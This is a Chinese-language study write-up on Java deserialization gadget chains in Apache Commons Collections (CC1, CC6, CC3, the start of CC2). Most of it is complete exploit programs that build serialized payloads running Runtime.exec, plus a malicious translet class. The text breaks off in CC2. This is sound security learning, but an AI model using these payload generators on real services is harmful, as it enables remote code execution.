CC1
先来聊一下CC1吧。
首先我们想要命令执行就需要找到一个恶意方法。也就是如下的类方法
我们可以看到InvokerTransformer中的transformer方法进行了一个反射调用
public O transform(Object input) {
if (input == null) {
return null;
} else {
try {
Class<?> cls = input.getClass();
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);
}
可以发现其调用了method.invoke(input, this.iArgs);那么我们就可以利用这个transform来进行命令执行
通过构造方法我们可以直到其iMethodName,iParamTypes,iArgs是怎么传入的
可以发现我们其构造方法是public的那么我们就可以通过如下方式来构造命令执行
public class DDEMO {
public static void main(String[] args) throws Exception {
Runtime runtime = Runtime.getRuntime();
InvokerTransformer invokerTransformer=new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
invokerTransformer.transform(runtime);
}
}
我们需要从transform这个方法来寻找其他调用了该方法的类,以此来跳道其他的类中
我们寻找调用了transform的类发现了TransformedMap的cheakSetValue
继续寻找可以找到AbstractInputCheckedMapDecorator的setvalue
我们先找到这里,我们要查看一下这个setvalue是如何触发的
setvalue这个方法其实经常用在遍历Map方法中如下代码
for(Map.Entry entry:map.entrySet())
{
entry.setValue(runtime);
}
上面的代码就是一个遍历map中的setValue方法,而这样就会跳到map的cheakSetValue
我们可以发现这个TransformedMap类是继承于另一个AbstractInputCheckedMapDecorator类我们一步步的步入会发现最终继承的一个类是Map类
即这个TransformedMap其实就是一个Map类那么我们就可以遍历这个TransformedMap来setvalue从而调用这个TransformedMap的cheakSetvalue而后调用transform
即我们可以通过如下方法来尝试进行命令执行
public static void main(String[] args) throws Exception {
Runtime runtime = Runtime.getRuntime();
InvokerTransformer invokerTransformer=new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
HashMap<Object,Object> map = new HashMap<>();
map.put("a",1);
Map<Object,Object> transformedMap=TransformedMap.decorate(map,null,invokerTransformer);
for(Map.Entry entry:transformedMap.entrySet())
{
entry.setValue(runtime);
}
}
而后我们再查看setValue的调用位置
我们可以找到一个readObject的一个方法下调用了setValue方法
那么我们的链子其实就已经找全了。如下
虽然AnnotationInvocationHandler不是公共类但是我们可以反射调用它,AnnotationInvocationHandler构造函数的参数时一个注解类和一个Map,这个注解类其实就是我们重写时的@Override
之类的。
Class clazz=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor=clazz.getConstructor(Class.class,Map.class);
Object instance=constructor.newInstance(Target.class,transformedMap);
但是我们现在还有两个问题没有解决,一个是Runtime这个类并没有继承Serializable接口,我们无法将其反序列化,另一个是我们可以发现AnnotationInvocationHandler中调用setValue其传入setValue的值是不可控的是写死的,这就导致我们无法再setValue里传入Runtime来进行命令执行
其实这两个问题可以一次解决
就是如下两个类
我们可以通过代码知道ChainedTransformer
其实例化的参数是一个数组,而其再调用transform时会通过循环让数组中的每个类都调用transform,而前一个调用transform返回的值作为下一个的transform的参数。
如下代码
Transformer[] Transformer=new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer=new ChainedTransformer(Transformer);
在数组中传入ConstantTransformer而其调用Transformer后会返回实例化传入的参数原值即其返回Runtime.class作为下一个InvokerTransformer的transformer来进行调用,如此循环最终就可以命令执行
所以我们将chainedTransformer传入TransformedMap中当遍历map时就会调用到chainedTransformer的transformer
这时我们可以写出如下exp
import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import org.apache.commons.collections.map.TransformedMap.*;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;
public class CC1 {
public static void Serializ(Object obj) throws Exception{
ByteArrayOutputStream bos=new ByteArrayOutputStream();
FileOutputStream fos = new FileOutputStream("ser.bin");
ObjectOutputStream oos=new ObjectOutputStream(fos);
oos.writeObject(obj);
byte[] byteArray = bos.toByteArray();
Base64.Encoder encoder = Base64.getEncoder();
String base64 = encoder.encodeToString(byteArray);
System.out.println(base64);
}
public static Object Unserializ(String Filename) throws Exception{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj=ois.readObject();
return obj;
}
public static void main(String[] args) throws Exception {
Transformer[] Transformer=new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer=new ChainedTransformer(Transformer);
HashMap<Object,Object> map=new HashMap<>();
map.put("aaa","bbb");
Map<Object,Object> transformerMap=TransformedMap.decorate(map,null,chainedTransformer);
Constructor constructor=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);
Object o = constructor.newInstance(Target.class,transformerMap);
Serializ(o);
Unserializ("ser.bin");
}
}
但是这个exp还是有点问题我们可以下个断点调试一下
我们可以看到其最后通过get(name)来得到type即我们传入的注解类中的属性。
而name的值就是我们的map的key,那么我们只要在map.put传入key为注解类的属性名即可
我们传入一个map的key为value
即可命令执行,exp如下
import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import org.apache.commons.collections.map.TransformedMap.*;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;
public class CC1 {
public static void Serializ(Object obj) throws Exception{
ByteArrayOutputStream bos=new ByteArrayOutputStream();
FileOutputStream fos = new FileOutputStream("ser.bin");
ObjectOutputStream oos=new ObjectOutputStream(fos);
oos.writeObject(obj);
byte[] byteArray = bos.toByteArray();
Base64.Encoder encoder = Base64.getEncoder();
String base64 = encoder.encodeToString(byteArray);
System.out.println(base64);
}
public static Object Unserializ(String Filename) throws Exception{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj=ois.readObject();
return obj;
}
public static void main(String[] args) throws Exception {
Transformer[] Transformer=new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer=new ChainedTransformer(Transformer);
HashMap<Object,Object> map=new HashMap<>();
map.put("value","bbb");
Map<Object,Object> transformerMap=TransformedMap.decorate(map,null,chainedTransformer);
Constructor constructor=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);
Object o = constructor.newInstance(Target.class,transformerMap);
Serializ(o);
Unserializ("ser.bin");
}
}
CC1_LazyMap
ysoserial中其CC1的调用链并没用用到TransformerMap而是使用了LazyMap,使用这个类来构造其实难度会比TransformerMap来的大,因为其需要用的一个java的概念,即动态代理。
我们先来看一下LazyMap是如何调用transform的
我们可以发现其是在get下调用了transform,但是这个get方法我们在AnnotationInvocationHandler下的readObject是找不到调用的,反而在invoke中找到了这个调用。
并且我们可以发现AnnotationInvocationHandler这个类是一个完成了InvocationHandler接口的类。那么我们使用一个Map的动态代理传入第三个参数为AnnotationInvocationHandler,那么这个代理在调用任意方法时都会跳到invoke中。进而执行invoke中的memberValues.get(member);来命令执行
其链子的后半段无改变
我们写一个命令执行的demo
public static void main(String[] args) throws Exception {
("exec",new Class[]{String.class},new Object[]{"calc"});
Transformer[] Transformer = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(Transformer);
Map map=new HashMap();
Map lazyMap= LazyMap.decorate(map, chainedTransformer);
Class clazz=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor=clazz.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);
InvocationHandler invocationHandler=(InvocationHandler)constructor.newInstance(Target.class,lazyMap);
Map proxyMap= (Map)Proxy.newProxyInstance(Map.class.getClassLoader(),new Class[]{Map.class},invocationHandler);
proxyMap.entrySet();
其实上面的demo中的proxy代理任意接口都可以弹出计算机,但是因为我们的反序列化入口点是AnnotationInvocationHandler的readObject,所以我们还需要将proxy传入AnnotationInvocationHandler,而其readObject下调的是entrySet()如下
即我们传入的proxy要可以调用entrySet()这样才可以正常进入invoke,而这个方法是在Map里定义的,所以我们的接口要定义为Map
exp如下
import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;
import org.apache.commons.collections.map.TransformedMap.*;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.*;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;
public class CC1_LazyMap {
public static void Serializ(Object obj) throws Exception{
ByteArrayOutputStream bos=new ByteArrayOutputStream();
FileOutputStream fos = new FileOutputStream("ser.bin");
ObjectOutputStream oos=new ObjectOutputStream(fos);
oos.writeObject(obj);
byte[] byteArray = bos.toByteArray();
Base64.Encoder encoder = Base64.getEncoder();
String base64 = encoder.encodeToString(byteArray);
System.out.println(base64);
}
public static Object Unserializ(String Filename) throws Exception{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj=ois.readObject();
return obj;
}
public static void main(String[] args) throws Exception {
Transformer[] Transformer = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(Transformer);
Map map=new HashMap();
Map lazyMap= LazyMap.decorate(map, chainedTransformer);
Class clazz=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor=clazz.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);
InvocationHandler invocationHandler=(InvocationHandler)constructor.newInstance(Target.class,lazyMap);
Map proxyMap= (Map)Proxy.newProxyInstance(Map.class.getClassLoader(),new Class[]{Map.class},invocationHandler);
InvocationHandler inv=(InvocationHandler)constructor.newInstance(Target.class,proxyMap);
Serializ(inv);
Unserializ("ser.bin");
}
}
CC6
学习这跳链子的目的是因为我们学习的CC1在高版本的JDK8u71以后就无法使用这是因为,在jdk8u71后对AnnotationInvocationHandler的readObject进行了更改。如下
我们可以发现CC1的两给分支TransformerMap和LazyMap位于readObject的触发点都修复了导致我们无法对其进行利用
所以我们需要学习这条CC6
CC6这条链子的后半段其实和CC1_LazyMap那条是没什么差别的,因为java高版本修改了AnnotationInvocationHandler所以我们只能在其他类里寻找调用了get的方法。
最后我们可以在TiedMapEntry里找到一个getValue调用了map.get()
继续找可以在同类下的hashCode()下发现调用了getValue()。
看到这个hashCode,死去的回忆一下子开始攻击我了。我们在之前学习的URLDNS就有利用到hashCode(),那么剩下的调用链不是和URLDNS一样嘛。
通过HashMap的readObject可以调用到hash(),hash()方法下调用了hashCode。
就这样我们可以写出如下exp
import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.*;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;
public class CC6 {
public static void Serializ(Object obj) throws Exception{
ByteArrayOutputStream bos=new ByteArrayOutputStream();
FileOutputStream fos = new FileOutputStream("ser.bin");
ObjectOutputStream oos=new ObjectOutputStream(fos);
oos.writeObject(obj);
byte[] byteArray = bos.toByteArray();
Base64.Encoder encoder = Base64.getEncoder();
String base64 = encoder.encodeToString(byteArray);
System.out.println(base64);
}
public static Object Unserializ(String Filename) throws Exception{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj=ois.readObject();
return obj;
}
public static void main(String[] args) throws Exception {
Transformer[] Transformer = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(Transformer);
HashMap<Object,Object> map=new HashMap();
Map lazyMap=LazyMap.decorate(map,chainedTransformer);
TiedMapEntry tiedMapEntry=new TiedMapEntry(lazyMap,"keykey");
HashMap<Object,Object> ser_map=new HashMap();
ser_map.put(tiedMapEntry,"value");
f.setAccessible(true);
f.set(chainedTransformer, Transformer);
Serializ(ser_map);
Unserializ("ser.bin");
}
}
但是很可惜,我们在执行时会发现其在反序列前的ser_map.put弹出了计算机,但是反序列化时却不会触发命令执行。同样的我们一个断点来调试
我们会发现其在lazyMap里找到了keykey这个key,很奇怪明明没有定义这个key却能找到这个key
这是因为我们在使用ser_map.put是也触发了如下代码
public V put(K key, V value) {
return putVal(hash(key), key, value, false, true);
}
这就导致了keykey被写入到lazyMap里,解决方法也简单,直接使用lazyMap.remove("keykey")
这样即可,
而在反序列化前就执行命令我们可以先给ChainedTransformer传入一个假的Transform数组然后在ser_map.put后再通过反射传入一个真的Transform数组。exp如下
import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.*;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;
public class CC6 {
public static void Serializ(Object obj) throws Exception{
ByteArrayOutputStream bos=new ByteArrayOutputStream();
FileOutputStream fos = new FileOutputStream("ser.bin");
ObjectOutputStream oos=new ObjectOutputStream(fos);
oos.writeObject(obj);
byte[] byteArray = bos.toByteArray();
Base64.Encoder encoder = Base64.getEncoder();
String base64 = encoder.encodeToString(byteArray);
System.out.println(base64);
}
public static Object Unserializ(String Filename) throws Exception{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj=ois.readObject();
return obj;
}
public static void main(String[] args) throws Exception {
Transformer[] Transformer = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)};
ChainedTransformer chainedTransformer = new ChainedTransformer(fakeTransformers);
HashMap<Object,Object> map=new HashMap();
Map lazyMap=LazyMap.decorate(map,chainedTransformer);
TiedMapEntry tiedMapEntry=new TiedMapEntry(lazyMap,"keykey");
HashMap<Object,Object> ser_map=new HashMap();
ser_map.put(tiedMapEntry,"value");
Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(chainedTransformer, Transformer);
lazyMap.remove("keykey");
Serializ(ser_map);
Unserializ("ser.bin");
}
}
CC6改造无需数组
我们还可以改造一下这个CC6的命令执行方法让其无需使用数组即可进行命令执行
想要不使用数组来进行命令执行,就需要使用加载字节码的方式来进行命令执行。
我们查看其调用链会发现我们可以控制transform(Obj)的参数Obj,即我们只要传入templates,方式的方法为newTransform这样就可以通过反射调用templates.newTransform来直接加载字节码来命令执行,只要是Obj可控的cc链我们都可以通过加载字节码的方法来直接命令执行。代码如下
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;
public class CC6_noArray {
public static void Serializ(Object obj) throws Exception{
ByteArrayOutputStream bos=new ByteArrayOutputStream();
FileOutputStream fos = new FileOutputStream("ser.bin");
ObjectOutputStream oos=new ObjectOutputStream(fos);
oos.writeObject(obj);
byte[] byteArray = bos.toByteArray();
Base64.Encoder encoder = Base64.getEncoder();
String base64 = encoder.encodeToString(byteArray);
System.out.println(base64);
}
public static Object Unserializ(String Filename) throws Exception{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj=ois.readObject();
return obj;
}
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
Class tc = templates.getClass();
Field nameField = tc.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates, "aaa");
Field bytecodeField = tc.getDeclaredField("_bytecodes");
bytecodeField.setAccessible(true);
byte[] code= Files.readAllBytes(Paths.get("C:\\Users\\24882\\Desktop\\java-sec\\cc\\src\\test\\java\\test_calc.class"));
byte[][] codes={code};
bytecodeField.set(templates,codes);
Field tfactoryField = tc.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates,new TransformerFactoryImpl());
Transformer transformer = new InvokerTransformer("toString", null, null);
Map map=new HashMap();
Map lazyMap=LazyMap.decorate(map, transformer);
TiedMapEntry tiedMapEntry=new TiedMapEntry(lazyMap,templates);//向key传入参数templates使得可以不使用数组
HashMap<Object,Object> ser_map=new HashMap();
ser_map.put(tiedMapEntry,"value");
Field iMethodName=transformer.getClass().getDeclaredField("iMethodName");
iMethodName.setAccessible(true);
iMethodName.set(transformer,"newTransformer");
lazyMap.remove(templates);
Serializ(ser_map);
Unserializ("ser.bin");
}
}
CC3
学这个链的目的其实很简单,就是这个链给出了第二种命令执行的方法就是通过类加载的方法来进行命令执行。
CC3的前半段其实和CC1是没有什么区别的所以我先在这里记录一下如何通过类加载来命令执行
还是一样先分析命令执行的原因
首先我们知道在使用ClassLoader加载类后实例化会命令执行其构造函数static块等等。而ClassLoader调用的底层就是defineClass,但是其defineClass都不是public类,我们需要找到一个重写了defineClass方法并且为public且可序列化的类
我们查找如上格式defineClass就可以找到在com.sun.org.apache.xalan.internal.xsltc.trax包下的TemplatesImpl其重写了调用了defineClass()
通过查找用法我们可以看到defineTransletClasses()调用了defineClass()再往上找
我们可以找到getTransletInstance()下调用了defineTransletClasses()并且其将我们的类使用了newInstance()进行了实例化。
再网上找就可以找到public的newTransformer()
找到这个我们就可以使用我们CC1链的前半部分来反射调用这个newTransformer
那么我们要利用这个来进行命令执行肯定是要使用反射来讲其内部属性进行赋值。
我们看getTransletInstance()方法
会发现其需要_name
有值,且_class
没值才会进入defineTransletClasses()
我们查看defineTransletClasses()会发现有使用_tfactory
那么这个值就需要有值不然会报错,且其将字节码_bytecodes[i]
传入defineClass处理
那么我们只要往_bytecodes内传入我们要加载的恶意类就可以命令执行。
我们查看各种属性类型可以发现_bytecodes为二维数组
但是_tfactory为transient即其无法被序列化,但是我们又要调用这个,那么其一定再反序列时被赋了值
我们看readObject
会发现其被赋值为new TransformerFactoryImpl();
这样我们就可以编写一个demo来查看命令执行了如下
public class CC3 {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, TransformerConfigurationException {
TemplatesImpl tmpl = new TemplatesImpl();
Class clazz=tmpl.getClass();
Field namefeld= clazz.getDeclaredField("_name");
namefeld.setAccessible(true);
namefeld.set(tmpl,"aaa");
Field bytefeld= clazz.getDeclaredField("_bytecodes");
bytefeld.setAccessible(true);
byte[] code= Files.readAllBytes(Paths.get("C:\\Users\\24882\\Desktop\\java-sec\\cc\\src\\test\\java\\test_demo.class"));
byte[][] bytecodes= {code};
bytefeld.set(tmpl,bytecodes);
Field tfactoryfeld= clazz.getDeclaredField("_tfactory");
tfactoryfeld.setAccessible(true);
tfactoryfeld.set(tmpl,new TransformerFactoryImpl());
tmpl.newTransformer();
}
}
但是其还是会报错无法命令执行,这个问题是出在恶意类上我们下断点调试
我们会发现只要我们恶意类的父类的值等于ABSTRACT_TRANSLET就会对_transletIndex赋值,且不会进入else即不会报错,而下面还有一个对_transletIndex的判断如果小于0就抛出异常,即我们的恶意类的父类名要为ABSTRACT_TRANSLET即如下类
恶意类代码如下即可命令执行
import java.io.IOException;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
public class test extends AbstractTranslet {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
throw new RuntimeException(e);
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
那么这条链的前半段我们已经写完了
其前半段其实就是使用CC1来反射newTransformer来进行命令执行
exp如下
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import org.apache.commons.collections.map.TransformedMap.*;
import javax.xml.transform.TransformerConfigurationException;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;
public class CC3 {
public static void Serializ(Object obj) throws Exception{
ByteArrayOutputStream bos=new ByteArrayOutputStream();
FileOutputStream fos = new FileOutputStream("ser.bin");
ObjectOutputStream oos=new ObjectOutputStream(fos);
oos.writeObject(obj);
byte[] byteArray = bos.toByteArray();
Base64.Encoder encoder = Base64.getEncoder();
String base64 = encoder.encodeToString(byteArray);
System.out.println(base64);
}
public static Object Unserializ(String Filename) throws Exception{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj=ois.readObject();
return obj;
}
public static void main(String[] args) throws Exception {
TemplatesImpl tmpl = new TemplatesImpl();
Class clazz=tmpl.getClass();
Field namefeld= clazz.getDeclaredField("_name");
namefeld.setAccessible(true);
namefeld.set(tmpl,"aaa");
Field bytefeld= clazz.getDeclaredField("_bytecodes");
bytefeld.setAccessible(true);
byte[] code= Files.readAllBytes(Paths.get("C:\\Users\\24882\\Desktop\\java-sec\\cc\\src\\test\\java\\test_calc.class"));
byte[][] bytecodes= {code};
bytefeld.set(tmpl,bytecodes);
Field tfactoryfeld= clazz.getDeclaredField("_tfactory");
tfactoryfeld.setAccessible(true);
tfactoryfeld.set(tmpl,new TransformerFactoryImpl());
tmpl.newTransformer();
Transformer[] Transformer=new Transformer[]{
new ConstantTransformer(tmpl),
new InvokerTransformer("newTransformer", null, null)
};
ChainedTransformer chainedTransformer=new ChainedTransformer(Transformer);
HashMap<Object,Object> map=new HashMap<>();
map.put("value","bbb");
Map<Object,Object> transformerMap=TransformedMap.decorate(map,null,chainedTransformer);
Constructor constructor=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);
Object o = constructor.newInstance(Target.class,transformerMap);
Serializ(o);
Unserializ("ser.bin");
}
}
我们还可以使用进一步的向上寻找,来不使用InvokerTransformer进行命令执行
我们再往上找可以找到TrAXFilter这个类,
public TrAXFilter(Templates templates) throws
TransformerConfigurationException
{
_templates = templates;
_transformer = (TransformerImpl) templates.newTransformer();
_transformerHandler = new TransformerHandlerImpl(_transformer);
_useServicesMechanism = _transformer.useServicesMechnism();
}
我们可以看到其构造方法调用了templates.newTransformer()。但是因为其是构造方法,我们要触发只能通过实例化或者反射。
而我们在InstantiateTransformer下可以找到另一个transform。
public Object transform(Object input) {
try {
if (input instanceof Class == false) {
throw new FunctorException(
"InstantiateTransformer: Input object was not an instanceof Class, it was a "
+ (input == null ? "null object" : input.getClass().getName()));
}
Constructor con = ((Class) input).getConstructor(iParamTypes);
return con.newInstance(iArgs);
}
我们可以利用这transform来实例化TrAXFilter从而触发器构造方法从而加载字节码命令执行
exp如下
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.map.TransformedMap;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;
public class CC3 {
public static void Serializ(Object obj) throws Exception{
ByteArrayOutputStream bos=new ByteArrayOutputStream();
FileOutputStream fos = new FileOutputStream("ser.bin");
ObjectOutputStream oos=new ObjectOutputStream(fos);
oos.writeObject(obj);
byte[] byteArray = bos.toByteArray();
Base64.Encoder encoder = Base64.getEncoder();
String base64 = encoder.encodeToString(byteArray);
System.out.println(base64);
}
public static Object Unserializ(String Filename) throws Exception{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj=ois.readObject();
return obj;
}
public static void main(String[] args) throws Exception {
TemplatesImpl tmpl = new TemplatesImpl();
Class clazz=tmpl.getClass();
Field namefeld= clazz.getDeclaredField("_name");
namefeld.setAccessible(true);
namefeld.set(tmpl,"aaa");
Field bytefeld= clazz.getDeclaredField("_bytecodes");
bytefeld.setAccessible(true);
byte[] code= Files.readAllBytes(Paths.get("C:\\Users\\24882\\Desktop\\java-sec\\cc\\src\\test\\java\\test_calc.class"));
byte[][] bytecodes= {code};
bytefeld.set(tmpl,bytecodes);
Field tfactoryfeld= clazz.getDeclaredField("_tfactory");
tfactoryfeld.setAccessible(true);
tfactoryfeld.set(tmpl,new TransformerFactoryImpl());
Transformer[] Transformer=new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class},new Object[]{tmpl})
};
ChainedTransformer chainedTransformer=new ChainedTransformer(Transformer);
HashMap<Object,Object> map=new HashMap<>();
map.put("value","bbb");
Map<Object,Object> transformerMap=TransformedMap.decorate(map,null,chainedTransformer);
Constructor constructor=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);
Object o = constructor.newInstance(Target.class,transformerMap);
Serializ(o);
Unserializ("ser.bin");
}
}
CC2
CC2是collections4的一条链,虽然CC1,3,6都是collections3.1的链子但是其实只要将LazyMap或者TransformedMap的构造器由decorate改为lazyMap或者transformedMap即可命令执行
好了接下来开始讲CC2
CC2的链其实也就是开头位置发生了更改。即开头变为了PriorityQueue->TransformingComparator->TransformingComparator.transform()
从PriorityQueue到TransformingCompartor的过程如下readObject->heapify->siftDown->siftDownUsingComparator->compare->transform如下
知道这两个的调用过程我们就可以简单的编写出exp了
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.Comparator;
import java.util.PriorityQueue;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
public class CC2 {
public CC2() throws IOException, ClassNotFoundException {
}
public static void Serializ(Object obj) throws Exception{
ByteArrayOutputStream bos=new ByteArrayOutputStream();
FileOutputStream fos = new FileOutputStream("ser_c.bin");
ObjectOutputStream oos=new ObjectOutputStream(fos);
oos.writeObject(obj);
byte[] byteArray = bos.toByteArray();
Base64.Encoder encoder = Base64.getEncoder();
String base64 = encoder.encodeToString(byteArray);
System.out.println(base64);
}
public static Object Unserializ(String Filename) throws Exception{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj=ois.readObject();
return obj;
}
public static void setFieldValue(Object obj, String fieldName, Object
value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception{
